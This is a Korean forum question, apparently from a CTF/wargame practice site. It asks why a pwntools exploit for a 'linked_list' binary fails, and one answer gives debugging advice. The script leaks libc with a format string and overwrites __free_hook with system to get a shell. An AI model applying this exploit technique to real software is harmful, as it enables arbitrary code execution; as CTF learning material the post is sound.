10 coins
풀이 도중 생긴 의문점
푸는 도중에 도저히 이해가 안되는 부분이 있습니다.
이렇게 __free_hook 주소에다가 system 함수를 집어넣고, free시킬 object_number에 binsh 주소를 넣은 뒤에 free를 시켜봤는데
쉘이 실행되지 않고 그냥 정상적으로 free가 되는 것을 확인했습니다.
제 생각으로는 system 함수가 실행되어야 할 것 같은데 왜 안되는 건지 모르겠습니다.
아래는 제가 시도했던 코드입니다.
from pwn import *
p = process('./linked_list')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def add(object_number):
p.sendlineafter(': ', '1')
p.sendlineafter(': ', str(object_number))
for a in range(3):
p.sendlineafter(': ', '1')
def delete(object_number):
p.sendlineafter(': ', '2')
p.sendlineafter(': ', str(object_number))
def show(object_number):
p.sendlineafter(': ', '3')
p.sendlineafter(': ', str(object_number))
def edit(object_number, new_object_number, payload):
p.sendlineafter(': ', '4')
p.sendlineafter(': ', str(object_number))
p.sendlineafter(': ', str(new_object_number))
for a in range(2):
p.sendlineafter(': ', str(0))
p.sendlineafter(': ', payload)
#Leak libc_base & free_hook
p.sendlineafter(': ', '%3$p')
libc_base = int(p.recvn(14).decode(), 16) - 0x1036dd
free_hook = libc_base + libc.symbols['__free_hook']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + 0x1a7e43
add(1)
add(2)
edit(1, 1, b'b'*0x100 + p64(free_hook))
edit(0, system, str(2))
add(bin_sh)
p.interactive()
도와주세요..ㅠㅠ
#pwnable
Author
Answers
1
l하늘섬l
Bookworm
freehook이 된 이후에 system 함수 호출이 제대로 되는지 디버깅이 필요할 것 같습니다.
만약 system 함수가 제대로 실행이 된다고 하면 /bin/sh
인자가 제대로 들어가는지 확인해봐야 할 것 같네요
이전에 경험했을 때, strings
명령으로 찾은 적이 있었는데 /bin/sh
가 아닌 이상한 문자열도 붙어있는 /bin/sh12ag
이런 문자열이 입력되어서 쉘이 실행이 안되는 경우가 있어서 해당 offset의 /bin/sh
값을 확인해보셔야 할 것 같아요